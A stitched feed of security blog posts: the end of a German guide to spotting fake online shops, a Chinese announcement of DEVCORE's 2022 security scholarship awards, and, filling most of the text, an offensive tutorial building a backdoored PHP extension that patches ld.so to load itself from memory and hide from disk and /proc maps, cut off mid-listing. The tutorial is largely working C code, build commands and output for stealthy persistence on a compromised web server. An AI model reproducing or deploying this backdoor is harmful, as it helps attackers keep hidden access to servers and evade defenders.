Die Informationen auf der Website sind schlüssig (Telefonnummern passen zum Ort) und vollständig (Impressum & Datenschutz). Darüber hinaus sind valide Social Media Accounts und Bewertungen auf unabhängigen Bewertungsportalen vorhanden.

3. Der Firmen-Check

Sofern es sich um eine GmbH, UG oder AG handelt, können unterschiedliche Informationsquellen genutzt werden, um zu prüfen, ob die Firma tatsächlich existiert. Ich nutze hierzu beispielsweise gerne das Handelregister. Darüber hinaus kann man die Lokation in Google Maps prüfen und ggf. auch auf Linked & Xing nach den Geschäftsführern bzw. Mitarbeitern suchen.

Ergebnis

Die GmbH ist mit dem korrekten Firmensitz im Handelregister hinterlegt.

Zwischenstand bike-discount.de

Die Website hat entgegen der Vermutung alle vorherigen Prüfungen bestanden. Dennoch kann die Website gefälscht sein, denn ein Angreifer könnte von der originalen Website eine 1zu1 Kopie erstellen, wodurch alle Datensätze identisch wären. Lediglich der Bezahlvorgang würde verändert werden. Deshalb sind die nächsten 2 “technischen” Prüfungsschritte sehr wichtig!

4. Die Domain

Aufgrund des oben geschilderten Vorgehens der Betrüger, sollte geprüft werden, wie “alt” die Website bzw. die Domain ist. Hierzu gibt es zwei einfache Tools, welche nachfolgend gezeigt werden. Grundsätzlich gilt, dass valide Websites/Firmen länger existieren. Wenn die Domain einer Website jünger als 2 Jahre ist, ist dies unserer Erfahrung nach als verdächtig einzustufen.

Whois.com

Jede registrierte Webstie muss gewisse Informationen bereitstellen. Dank der GDPR/DSGVO sind viele Informationen jedoch nicht mehr einsehbar (Regristrator, Firmenanschrift, Telefonnummer, etc.). Hierdurch ist die Bewertung von Fake-Seiten deutlich schwieriger geworden. Dennoch gibt es weiterhin eine relevant Information, welche wir auf der Website whois.com finden können, wenn wir nach unserer Domain bike-discount.de suchen: Das Registrierungsdatum bzw. letzte Update (z.B. Domain verkauft).

Archive.org

Der Dienst archive.org macht seit Jahrzehnten regelmäßige “Backups” vom Internet. Websites werden abhängig von ihrem Stellenwert/Ranking entsprechend oft kopiert und gespeichert. Nutzer können anschließend die Website archive.org nutzen, um beispielsweise die Version von Amazon.com aus 2015 aufzurufen. Dies kann ähnlich wie whois.com genutzt werden, um zu prüfen wie lange eine Website existiert und um nach zu vollziehen, ob die Website auch in der Vergangenheit bereits ähnliche Inhalte hatte.

Abschließende Bewertung bike-discount.de

Aufgrund der Tatsache, dass alle unsere Tests positiv ausgefallen sind, ist davon auszugehen, dass es sich hierbei um keinen Fakeshop handelt

Fakeshop enttarnen

Im nächsten Blogpost, zeigen wir, ob und wie die anderen beiden Webshops als Fakeshops ent werden. Bis dahin könnt Ihr uns gerne auf LinkedIn oder Twitter eure Ergebnisse der Websitebewertung mitteilen. Das könnte beispielsweise so aussehen:

1x #fake
1x #nofake

#hansesecure #infosec
https://hansesecure.de/2022/11/kauf-mich-reich-fakeshope-erkennen

Der Beitrag Kauf mich reich: Fakeshop erkennen erschien zuerst auf HanseSecure GmbH.

DEVCORE 2022 年度全國資訊安全獎學金頒獎餐敘順利落幕

22 December 2022 at 16:00

2022 年度「戴夫寇爾全國資訊安全獎學金」頒獎餐敘已於 12 月 17 日順利落幕。

一路走來,無論是在我們的學習之路、創業過程中,我們都受到了來自各方的支持與協助,因此我們也希望回饋社會並培育資安人才,以獎學金的方式,協助學生建構正確資安意識及技能外,也能及早瞭解業界現況,降低產學落差。

「戴夫寇爾全國資訊安全獎學金」每年補助 10 名在資安領域研究成果傑出的大專院校學生,每名頒發 2 萬元獎金,希望使這些資安界的明日之星得以無後顧之憂,專注精進資安技術,未來成為獨當一面的資安人才。

此次獲獎同學遍佈全台,分別來自基隆商工資訊科、台灣師範大學資訊工程系、陽明交通大學資訊科學與工程研究所及資電亥客與安全學程、清華大學資訊安全研究所、逢甲大學資訊工程系、台中科技大學資訊管理系、南台科技⼤學資訊工程系等。獲獎同學皆將獲獎視為重要肯定,也表示希望持續精進自己,並將經驗分享給他人、回饋社會,其中也有好幾位同學希望未來能加入 DEVCORE。

「當時受到 DEVCORE 幫助,我說未來一定找機會好好感謝 DEVCORE。但 DEVCORE 回應『只要把這份感謝的心情,拿去幫助其他人,就是最好的回報』,因為這句話,我寫了一些文章,希望能幫助到其他人。在未來,我也會繼續幫助其他人,以此來回報貴公司在資安界無私的奉獻。」清大蘇同學說。

陽明交通大學高同學則表示,將運用這筆獎學金購買原本負擔不起的昂貴物聯網設備及相關工具,以利進行資安相關研究,也將購入資訊相關書籍,提升自己的知識。

期待獲獎同學們未來持續深耕資安知識與技術,在資安舞台上發光發熱!

Spice up your persistence: loading PHP extensions from memory

26 December 2022 at 00:00

Dear Fellowlship, today’s homily is about how to improve persistences based on PHP extensions. In this gospel we will explain a way to keep a PHP extension loaded on the server without it being backed up by a file on disk. Please, take a seat and listen the story.

Prayers at the foot of the Altar a.k.a. disclaimer

There are dozens different ways to achieve the same goal, some of them better and other worse. We are aware that the technique shown in this article can be improved making it more OPSEC friendly. This was just a simple PoC I had in mind since a few months ago and never had time to implement it, so I decided to use xmas time to write a PoC and publish about the idea. Kudos to @lockedbyte for spotting some bugs.

Introduction

Using backdoored plugins/addins/extensions as persistence method is one of my favorite techniques to keep a door open after compromising a web server (indeed I wrote about this topic in multiple times in last years: Backdoors in XAMPP stack (part I): PHP extensions, Backdoors in XAMP stack (part II): UDF in MySQL, Backdoors in XAMP stack (part III): Apache Modules and Improving PHP extensions as a persistence method.

Today’s article is a direct continuation of the PHP extensions saga, serving as the end of the trilogy. It is therefore MANDATORY to read the two previous articles (they are listed above) in order to understand this one. Please read them and then continue reading :)

As a quick recap from the last article, we were abusing two PHP “hooks” (MINIT & MSHUTDOWN) to execute code as root when the module would be loaded/unloaded. With MINIT code we saved the shared object in memory (just a copy) and deleted the .so from disk (also we modified the php.ini file to remove path), then with MSHUTDOWN (executed when the server is stoped or restarted) we wrote the .so from memory to disk and set again the extension path in php.ini, so the next time the server starts it would load again our code and the cycle continues.

The problem is that even if the file is removed from disk we can see it referenced in the mapped regions:

7fa44e763000-7fa44e765000 r--p 00000000 08:01 2816412                    /home/vagrant/research/php/backdoor/adepts/adepts.so
7fa44e765000-7fa44e767000 r-xp 00002000 08:01 2816412                    /home/vagrant/research/php/backdoor/adepts/adepts.so
7fa44e767000-7fa44e768000 r--p 00004000 08:01 2816412                    /home/vagrant/research/php/backdoor/adepts/adepts.so
7fa44e768000-7fa44e769000 r--p 00004000 08:01 2816412                    /home/vagrant/research/php/backdoor/adepts/adepts.so
7fa44e769000-7fa44e76a000 rw-p 00005000 08:01 2816412                    /home/vagrant/research/php/backdoor/adepts/adepts.so

So, how can we remove this? There are multiple ways to approach it, here we are going to force our extension to load a copy from memory and then unload itself.

Steps to follow
Steps to follow.

Trimming the fat

The first thing we need to understand is how PHP loads an extension and how the 4 hooks (MINIT/MSHUTDOWN and RINIT/RSHUTDOWN) are set. Let’s create a minimal extension:

php ../php-8.2.0/ext/ext_skel.php --ext adepts --dir .
cd adepts
phpize
./configure
make

Load it in a debugger and put a breakpoint at dlopen():

=> gdb php
pwndbg> b *dlopen
Breakpoint 1 at 0x203640
pwndbg> r -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so"
Starting program: /usr/local/bin/php -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so"
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, ___dlopen (file=0x7ffff5805038 "/home/vagrant/research/php/backdoor/adepts/adepts.so", mode=265) at ./dlfcn/dlopen.c:77

 =>f 0   0x7ffff7b49700 dlopen
   f 1   0x55555595d5d4 php_load_shlib+37
   f 2   0x55555595d7b1 php_load_extension+424
   f 3   0x555555a97969 php_load_php_extension_cb+41
   f 4   0x555555b3cb8e zend_llist_apply+50
   f 5   0x555555a98be1 php_ini_register_extensions+58
   f 6   0x555555a8d278 php_module_startup+2413
   f 7   0x555555e08ab5 php_cli_startup+33

We can observe that the function php_load_extension is the one that loads the extension. This function can be found at /ext/standard/dl.c, being the most interesting part:

zend_module_entry *module_entry;

zend_module_entry *(*get_module)(void);

//...

handle = php_load_shlib(libpath, &err2);
//...

get_module = (zend_module_entry *(*)(void)) DL_FETCH_SYMBOL(handle, "get_module");

//...

module_entry = get_module();
//...
if ((module_entry = zend_register_module_ex(module_entry)) == NULL) {

    DL_UNLOAD(handle);

    return FAILURE;

}

if ((type == MODULE_TEMPORARY || start_now) && zend_startup_module_ex(module_entry) == FAILURE) {

    DL_UNLOAD(handle);

    return FAILURE;

}

As we can see the code looks for the exported symbol get_module and executes it as a function that returns a pointer to a zend_module_entry structure. This structure is described as:

struct _zend_module_entry {

    unsigned short size;

    unsigned int zend_api;

    unsigned char zend_debug;

    unsigned char zts;

    const struct _zend_ini_entry *ini_entry;

    const struct _zend_module_dep *deps;

    const char *name;

    const struct _zend_function_entry *functions;

    zend_result (*module_startup_func)(INIT_FUNC_ARGS);

    zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);

    zend_result (*request_startup_func)(INIT_FUNC_ARGS);

    zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);

    void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);

    const char *version;

    size_t globals_size;

    #ifdef ZTS

    ts_rsrc_id* globals_id_ptr;

    #else

    void* globals_ptr;

    #endif

    void (*globals_ctor)(void *global);

    void (*globals_dtor)(void *global);

    zend_result (*post_deactivate_func)(void);

    int module_started;

    unsigned char type;

    void *handle;

    int module_number;

    const char *build_id;

};

The most relevant part is

//...

    zend_result (*module_startup_func)(INIT_FUNC_ARGS);

    zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);

    zend_result (*request_startup_func)(INIT_FUNC_ARGS);

    zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
//...

We do not need to use macros like PHP_MINIT_FUNCTION as only need to set these members with pointers to functions that returns a zend_result type. A minimum skeleton would be:

/* adepts extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_adepts.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
    ZEND_PARSE_PARAMETERS_START(0, 0) \
    ZEND_PARSE_PARAMETERS_END()
#endif


// Basic zend_module_entry
zend_module_entry adepts_module_entry = {
    STANDARD_MODULE_HEADER,
    "adepts",                   /* Extension name */
    NULL,                   /* zend_function_entry */
    NULL,                           /* PHP_MINIT - Module initialization */
    NULL,                           /* PHP_MSHUTDOWN - Module shutdown */
    NULL,           /* PHP_RINIT - Request initialization */
    NULL,                           /* PHP_RSHUTDOWN - Request shutdown */
    NULL,           /* PHP_MINFO - Module info */
    PHP_ADEPTS_VERSION,     /* Version */
    STANDARD_MODULE_PROPERTIES
};

//Function "get_module" that will be executed by PHP
extern zend_module_entry *get_module(void){
    printf("[*] This function was called from get_module when the extension was attempted to be load\n");
    return &adepts_module_entry;
}



#ifdef COMPILE_DL_ADEPTS
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(adepts)
#endif

Let’s compile it:

gcc adepts.c -shared -fPIC -o adepts.so -I/usr/local/include/php -I/usr/local/include/php/main -I/usr/local/include/php/TSRM -I/usr/local/include/php/Zend -I/usr/local/include/php/ext -I/usr/local/include/php/ext/date/lib

And test:

=> php  -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so" -r "echo 'hello\n';"
[*] This function was called from get_module when the extension was attempted to be load
hello\n% 

dlopen() from memory

There are different options to load our extension directly from memory and not from disk. In this case I am going to borrow code from memdlopen project to patch ld.so. First we need to add code to parse /proc/self/maps and locate ld.so:

/* adepts extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_adepts.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
    ZEND_PARSE_PARAMETERS_START(0, 0) \
    ZEND_PARSE_PARAMETERS_END()
#endif


size_t page_size;


bool find_ld_in_memory(uint64_t *addr1, uint64_t *addr2) {
    FILE* f = NULL;
    char  buffer[1024] = {0};
    char* tmp = NULL;
    char* start = NULL;
    char* end = NULL;
    bool  found = false;

    if ((f = fopen("/proc/self/maps", "r")) == NULL){
        return found;
    }

    while ( fgets(buffer, sizeof(buffer), f) ){
        if ( strstr(buffer, "r-xp") == 0 ) {
            continue;
        }
        if ( strstr(buffer, "ld-linux-x86-64.so.2") == 0 ) {
            continue;        
        }

        buffer[strlen(buffer)-1] = 0;
        tmp = strrchr(buffer, ' ');
        if ( tmp == NULL || tmp[0] != ' ')
            continue;
        ++tmp;

        start = strtok(buffer, "-");
        *addr1 = strtoul(start, NULL, 16);
        end = strtok(NULL, " ");
        *addr2 = strtoul(end, NULL, 16);
        found = true;
    }
    fclose(f);
    return found;
}

void patch_all(void){
    uint64_t start = 0;
    uint64_t end = 0;
    size_t i = 0;
    
    page_size = sysconf(_SC_PAGESIZE);

    if (!find_ld_in_memory(&start, &end)){
        return;
    }
    printf("[*] ld.so found in range [0x%lx-0x%lx]\n", start, end);

    return;
}



// Basic zend_module_entry
zend_module_entry adepts_module_entry = {
    STANDARD_MODULE_HEADER,
    "adepts",                   /* Extension name */
    NULL,                   /* zend_function_entry */
    NULL,                           /* PHP_MINIT - Module initialization */
    NULL,                           /* PHP_MSHUTDOWN - Module shutdown */
    NULL,           /* PHP_RINIT - Request initialization */
    NULL,                           /* PHP_RSHUTDOWN - Request shutdown */
    NULL,           /* PHP_MINFO - Module info */
    PHP_ADEPTS_VERSION,     /* Version */
    STANDARD_MODULE_PROPERTIES
};

//Function "get_module" that will be executed by PHP
extern zend_module_entry *get_module(void){
    patch_all();
    return &adepts_module_entry;
}



#ifdef COMPILE_DL_ADEPTS
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(adepts)
#endif

My lab uses more recent versions of glibc…

=> lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 22.04.1 LTS
Release:    22.04
Codename:   jammy

=> ldd --version 
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35

…so we have to update the signatures to find where the hooks have to be inserted. Let’s create an extension that hooks ld.so and traces the execution:

/* adepts extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_adepts.h"

 #include <sys/mman.h>

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
    ZEND_PARSE_PARAMETERS_START(0, 0) \
    ZEND_PARSE_PARAMETERS_END()
#endif




typedef struct {
    void * data;
    int size;
    int current;
} lib_t;

lib_t libdata;


char stub[] = {0x55, 0x48, 0x89, 0xe5, 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xd0, 0xc9, 0xc3};
size_t stub_length = 18;

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"


int     my_open(const char *pathname, int flags); 
off_t   my_pread64(int fd, void *buf, size_t count, off_t offset);
ssize_t my_read(int fd, void *buf, size_t count);
void *  my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int     my_fstat(int fd, struct stat *buf);
int     my_close(int fd);


/*
pwndbg> disassemble 0x7ffff7fc99ad,+20
Dump of assembler code from 0x7ffff7fc99ad to 0x7ffff7fc99c1:
   0x00007ffff7fc99ad <open_verify+109>:    sub    rdx,rax
   0x00007ffff7fc99b0 <open_verify+112>:    lea    rsi,[rdi+rax*1]
   0x00007ffff7fc99b4 <open_verify+116>:    mov    edi,r15d
   0x00007ffff7fc99b7 <open_verify+119>:    call   0x7ffff7fe9b80 <__GI___read_nocancel>

*/
const char read_pattern[] = {0x48, 0x29, 0xc2, 0x48,  0x8d, 0x34,  0x07, 0x44, 0x89, 0xff, 0xe8};
#define read_pattern_length 11

/*
pwndbg> disass 0x7ffff7fcc088,+40
Dump of assembler code from 0x7ffff7fcc088 to 0x7ffff7fcc0b0:
   0x00007ffff7fcc088 <_dl_map_object_from_fd+1208>:    mov    ecx,0x812
   0x00007ffff7fcc08d <_dl_map_object_from_fd+1213>:    mov    DWORD PTR [rbp-0xe0],r11d
   0x00007ffff7fcc094 <_dl_map_object_from_fd+1220>:    call   0x7ffff7fe9cc0 <__mmap64>
*/
const char mmap_pattern[] = {0xb9, 0x12, 0x08, 0x00, 0x00, 0x44, 0x89, 0x9d, 0x20, 0xff, 0xff, 0xff, 0xe8};
#define mmap_pattern_length 13

/*
pwndbg> disass 0x7ffff7fcc0c8,+20
Dump of assembler code from 0x7ffff7fcc0c8 to 0x7ffff7fcc0dc:
   0x00007ffff7fcc0c8 <_dl_map_object_from_fd+1272>:    mov    edi,DWORD PTR [rbp-0xd4]
   0x00007ffff7fcc0ce <_dl_map_object_from_fd+1278>:    lea    rsi,[rbp-0xc0]
   0x00007ffff7fcc0d5 <_dl_map_object_from_fd+1285>:    call   0x7ffff7fe98a0 <__GI___fstat64>
   */
const char fxstat_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xb5, 0x40, 0xff, 0xff, 0xff, 0xe8};
#define fxstat_pattern_length 14

/*
pwndbg> disass 0x7ffff7fcc145,+40
Dump of assembler code from 0x7ffff7fcc145 to 0x7ffff7fcc16d:
   0x00007ffff7fcc145 <_dl_map_object_from_fd+1397>:    mov    edi,DWORD PTR [rbp-0xd4]
   0x00007ffff7fcc14b <_dl_map_object_from_fd+1403>:    call   0x7ffff7fe99f0 <__GI___close_nocancel>
*/
const char close_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0xe8};
#define close_pattern_length 7

/*
pwndbg> disass 0x7ffff7fc996a,+40
Dump of assembler code from 0x7ffff7fc996a to 0x7ffff7fc9992:
   0x00007ffff7fc996a <open_verify+42>: mov    esi,0x80000
   0x00007ffff7fc996f <open_verify+47>: mov    rdi,r14
   0x00007ffff7fc9972 <open_verify+50>: xor    eax,eax
   0x00007ffff7fc9974 <open_verify+52>: call   0x7ffff7fe9b00 <__GI___open64_nocancel>
*/
const char open_pattern[] = {0xbe, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x89, 0xf7, 0x31, 0xc0, 0xe8};
#define open_pattern_length 11

/*
pwndbg> disass 0x00007ffff7fcc275,+40
Dump of assembler code from 0x7ffff7fcc275 to 0x7ffff7fcc29d:
   0x00007ffff7fcc275 <_dl_map_object_from_fd+1701>:    mov    rsi,rax
   0x00007ffff7fcc278 <_dl_map_object_from_fd+1704>:    mov    QWORD PTR [rbp-0x158],rax
   0x00007ffff7fcc27f <_dl_map_object_from_fd+1711>:    call   0x7ffff7fe9bb0 <__GI___pread64_nocancel>
*/
const char pread64_pattern[] = {0x48, 0x89, 0xc6, 0x48, 0x89, 0x85, 0xa8, 0xfe, 0xff, 0xff, 0xe8};
#define pread64_pattern_length 11

const char* patterns[] = {read_pattern, mmap_pattern, pread64_pattern, fxstat_pattern, close_pattern,
                          open_pattern, NULL};
const size_t pattern_lengths[] = {read_pattern_length, mmap_pattern_length, pread64_pattern_length, 
                                  fxstat_pattern_length, close_pattern_length, open_pattern_length, 0};
const char* symbols[] = {"read", "mmap", "pread", "fstat", "close", "open", NULL};
uint64_t functions[] = {(uint64_t)&my_read, (uint64_t)&my_mmap, (uint64_t)&my_pread64, (uint64_t)&my_fstat, 
                        (uint64_t)&my_close, (uint64_t)&my_open, 0}; 
char *fixes[7] = {0};

uint64_t fix_locations[7] = {0};
size_t page_size;


bool find_ld_in_memory(uint64_t *addr1, uint64_t *addr2) {
    FILE* f = NULL;
    char  buffer[1024] = {0};
    char* tmp = NULL;
    char* start = NULL;
    char* end = NULL;
    bool  found = false;

    if ((f = fopen("/proc/self/maps", "r")) == NULL){
        return found;
    }

    while ( fgets(buffer, sizeof(buffer), f) ){
        if ( strstr(buffer, "r-xp") == 0 ) {
            continue;
        }
        if ( strstr(buffer, "ld-linux-x86-64.so.2") == 0 ) {
            continue;        
        }

        buffer[strlen(buffer)-1] = 0;
        tmp = strrchr(buffer, ' ');
        if ( tmp == NULL || tmp[0] != ' ')
            continue;
        ++tmp;

        start = strtok(buffer, "-");
        *addr1 = strtoul(start, NULL, 16);
        end = strtok(NULL, " ");
        *addr2 = strtoul(end, NULL, 16);
        found = true;
    }
    fclose(f);
    return found;
}


/* hooks */

int my_open(const char *pathname, int flags) {
    void *handle;
    int (*mylegacyopen)(const char *pathnam, int flags);

    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyopen = dlsym(handle, "open");
    printf("\t[+] Inside hooked open (ARG: %s)\n", pathname);
    return mylegacyopen(pathname, flags);
}

ssize_t my_read(int fd, void *buf, size_t count){
    void *handle;
    ssize_t (*mylegacyread)(int fd, void *buf, size_t count);

    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyread = dlsym(handle, "read");
    printf("\t[+] Inside hooked read (FD: %d)\n", fd);
    return mylegacyread(fd, buf, count);
}

void * my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset){
    int mflags = 0;
    void * ret = NULL;
    uint64_t start = 0;
    
    printf("\t[+] Inside hooked mmap\n");
    return mmap(addr, length, prot, flags, fd, offset);
}


int my_fstat(int fd, struct stat *buf){
    void *handle;
    int (*mylegacyfstat)(int fd, struct stat *buf);


    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyfstat = dlsym(handle, "fstat64");

    printf("\t[+] Inside hooked fstat (FD: %d)\n", fd);
    return mylegacyfstat(fd, buf);
}

int my_close(int fd) {
    printf("\t[+] Inside Hooked close (FD: %d)\n", fd);
    return close(fd);
}

ssize_t my_pread64(int fd, void *buf, size_t count, off_t offset) {
    void *handle;
    int (*mylegacypread)(int fd, void *buf, size_t count);

    handle = dlopen(LIBC, RTLD_NOW);
    mylegacypread = dlsym(handle, "pread");
    printf("\t[+] Inside pread64 (FD: %d)\n", fd);
    return mylegacypread(fd, buf, count);
}


/* Patch ld.so */
bool search_and_patch(uint64_t start_addr, uint64_t end_addr, const char* pattern, const size_t length, const char* symbol, const uint64_t replacement_addr, int position) {

    bool     found = false;
    int32_t  offset = 0;
    uint64_t tmp_addr = 0;
    uint64_t symbol_addr = 0;
    char * code = NULL;
    void * page_addr = NULL;

    tmp_addr = start_addr;
    while ( ! found && tmp_addr+length < end_addr) {
        if ( memcmp((void*)tmp_addr, (void*)pattern, length) == 0 ) {
            found = true;
            continue;
        }
        ++tmp_addr;
    }

    if ( ! found ) {
        return false;
    }

    offset = *((uint64_t*)(tmp_addr + length));
    symbol_addr = tmp_addr + length + 4 + offset;

    //Save data to fix later
    fixes[position] = malloc(stub_length * sizeof(char));
    memcpy(fixes[position], (void*)symbol_addr, stub_length);
    fix_locations[position] = symbol_addr;
    printf("[*] Symbol: %s - Addr: %lx\n", symbol, fix_locations[position]);

    code = malloc(stub_length * sizeof(char));
    memcpy(code, stub, stub_length);
    memcpy(code+6, &replacement_addr, sizeof(uint64_t));

    page_addr = (void*) (((size_t)symbol_addr) & (((size_t)-1) ^ (page_size - 1)));
    mprotect(page_addr, page_size, PROT_READ | PROT_WRITE); 
    memcpy((void*)symbol_addr, code, stub_length);
    mprotect(page_addr, page_size, PROT_READ | PROT_EXEC); 
    return true;
}

/* Read file from disk */
bool load_library_from_file(char * path, lib_t *libdata) {
    struct stat st;
    FILE * file;
    size_t read;

    if ( stat(path, &st) < 0 ) {
        return false;
    }

    libdata->size = st.st_size;
    libdata->data = malloc( st.st_size );
    libdata->current = 0;

    file = fopen(path, "r");

    read = fread(libdata->data, 1, st.st_size, file);
    fclose(file);

    return true;
}


void patch_all(void){
    uint64_t start = 0;
    uint64_t end = 0;
    size_t i = 0;
    
    page_size = sysconf(_SC_PAGESIZE);
    printf("\t\t-=[ Proof of Concept ]=-\n\n");

   /* if (!load_library_from_file("/home/vagrant/research/php/backdoor/adepts/adepts.so", &libdata)){
        return;
    }*/
    if (!find_ld_in_memory(&start, &end)){
        return;
    }
    printf("[*] ld.so found in range [0x%lx-0x%lx]\n", start, end);
    printf("-------------[ Patching  ]-------------\n");
    while ( patterns[i] != NULL ) {
        if ( ! search_and_patch(start, end, patterns[i], pattern_lengths[i], symbols[i], functions[i], i) ) {     
            return;
        } 
        ++i;
    }
    printf("---------------------------------------\n");
    return;
}



// Basic zend_module_entry
zend_module_entry adepts_module_entry = {
    STANDARD_MODULE_HEADER,
    "adepts",                   /* Extension name */
    NULL,                   /* zend_function_entry */
    NULL,                           /* PHP_MINIT - Module initialization */
    NULL,                           /* PHP_MSHUTDOWN - Module shutdown */
    NULL,           /* PHP_RINIT - Request initialization */
    NULL,                           /* PHP_RSHUTDOWN - Request shutdown */
    NULL,           /* PHP_MINFO - Module info */
    PHP_ADEPTS_VERSION,     /* Version */
    STANDARD_MODULE_PROPERTIES
};

//Function "get_module" that will be executed by PHP
extern zend_module_entry *get_module(void){
    patch_all();
    void *handler = dlopen("/home/vagrant/research/php/backdoor/adepts/test.so", RTLD_NOW); 
    return &adepts_module_entry;
}



#ifdef COMPILE_DL_ADEPTS
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(adepts)
#endif

My test.so is just a shared object that prints a message when loaded:

=> php  -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so" -r "echo 1;" 
        -=[ Proof of Concept ]=-

[*] ld.so found in range [0x7f5dd6999000-0x7f5dd69c3000]
-------------[ Patching  ]-------------
[*] Symbol: read - Addr: 7f5dd69bdb80
[*] Symbol: mmap - Addr: 7f5dd69bdcc0
[*] Symbol: pread - Addr: 7f5dd69bdbb0
[*] Symbol: fstat - Addr: 7f5dd69bd8a0
[*] Symbol: close - Addr: 7f5dd69bd9f0
[*] Symbol: open - Addr: 7f5dd69bdb00
---------------------------------------
    [+] Inside hooked open (ARG: /home/vagrant/research/php/backdoor/adepts/test.so)
    [+] Inside hooked read (FD: 3)
    [+] Inside hooked fstat (FD: 3)
    [+] Inside hooked mmap
    [+] Inside hooked mmap
    [+] Inside hooked mmap
    [+] Inside hooked mmap
    [+] Inside Hooked close (FD: 3)
Lib initialized successfully!
1% 

Now that we checked our hooks were successfully deployed it’s time to add the real functionalities to them. First we have to do is detect, at open(), if the path provided matches a magic word (in this case we use “magic.so”), if so we have to return a magic value as file descriptor (0x69).

int my_open(const char *pathname, int flags) {
    void *handle;
    int (*mylegacyopen)(const char *pathnam, int flags);

    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyopen = dlsym(handle, "open");
    if (strstr(pathname, "magic.so") != 0){
        printf("\t[+] Open called with magic word. Returning magic FD (0x69)\n");
        return 0x69;
    }
    return mylegacyopen(pathname, flags);
}

Next we have to modify read() to return the extension contents from memory (we readed the file before).

ssize_t my_read(int fd, void *buf, size_t count){
    void *handle;
    ssize_t (*mylegacyread)(int fd, void *buf, size_t count);

    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyread = dlsym(handle, "read");
    if (fd == 0x69){
        size_t size = 0;
        if ( libdata.size - libdata.current >= count ) {
            size = count;
        } else {
            size = libdata.size - libdata.current;
        }
        memcpy(buf, libdata.data+libdata.current, size);
        libdata.current += size;
        printf("\t[+] Read called with magic FD. Returning %ld bytes from memory\n", size);
        return size;
    }
    return mylegacyread(fd, buf, count);
}

Also we have to modify fstat64() so it returns a congruent value:

int my_fstat(int fd, struct stat *buf){
    void *handle;
    int (*mylegacyfstat)(int fd, struct stat *buf);


    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyfstat = dlsym(handle, "fstat64");

    if ( fd == 0x69 ) {
        memset(buf, 0, sizeof(struct stat));
        buf->st_size = libdata.size;
        buf->st_ino = 0x666; // random number
        printf("\t[+] Inside hooked fstat64 (fd: 0x%x)\n", fd);
        return 0;
    }
    return mylegacyfstat(fd, buf);
}

Then we have to map the file contents in anonymous sections and modify the memory perms:

void * my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset){
    int mflags = 0;
    void * ret = NULL;
    uint64_t start = 0;
    size_t size = 0;

    if ( fd == 0x69 ) {
        mflags = MAP_PRIVATE|MAP_ANON;
        if ( (flags & MAP_FIXED) != 0 ) {
            mflags |= MAP_FIXED;
        }
        ret = mmap(addr, length, PROT_READ|PROT_WRITE|PROT_EXEC, mflags, -1, 0);
        size = length > libdata.size - offset ? libdata.size - offset : length;
        memcpy(ret, libdata.data + offset, size);
        mprotect(ret, size, prot);
        if (first == 0){
            first = (uint64_t)ret;
        }
        printf("\t[+] Inside hooked mmap (fd: 0x%x)\n", fd);
        return ret;
    }
    return mmap(addr, length, prot, flags, fd, offset);
}

And lastly we edit close() hook to return “0” as we never opened the file descriptor.

int my_close(int fd) {
    if (fd == 0x69){
        printf("\t[+] Inside hooked close (fd: 0x%x)\n", fd);
        return 0;
    }
    return close(fd);
}

So the final code is:

/* adepts extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_adepts.h"

 #include <sys/mman.h>

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
    ZEND_PARSE_PARAMETERS_START(0, 0) \
    ZEND_PARSE_PARAMETERS_END()
#endif




typedef struct {
    void * data;
    size_t size;
    size_t current;
} lib_t;

lib_t libdata;


char stub[] = {0x55, 0x48, 0x89, 0xe5, 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xd0, 0xc9, 0xc3};
size_t stub_length = 18;

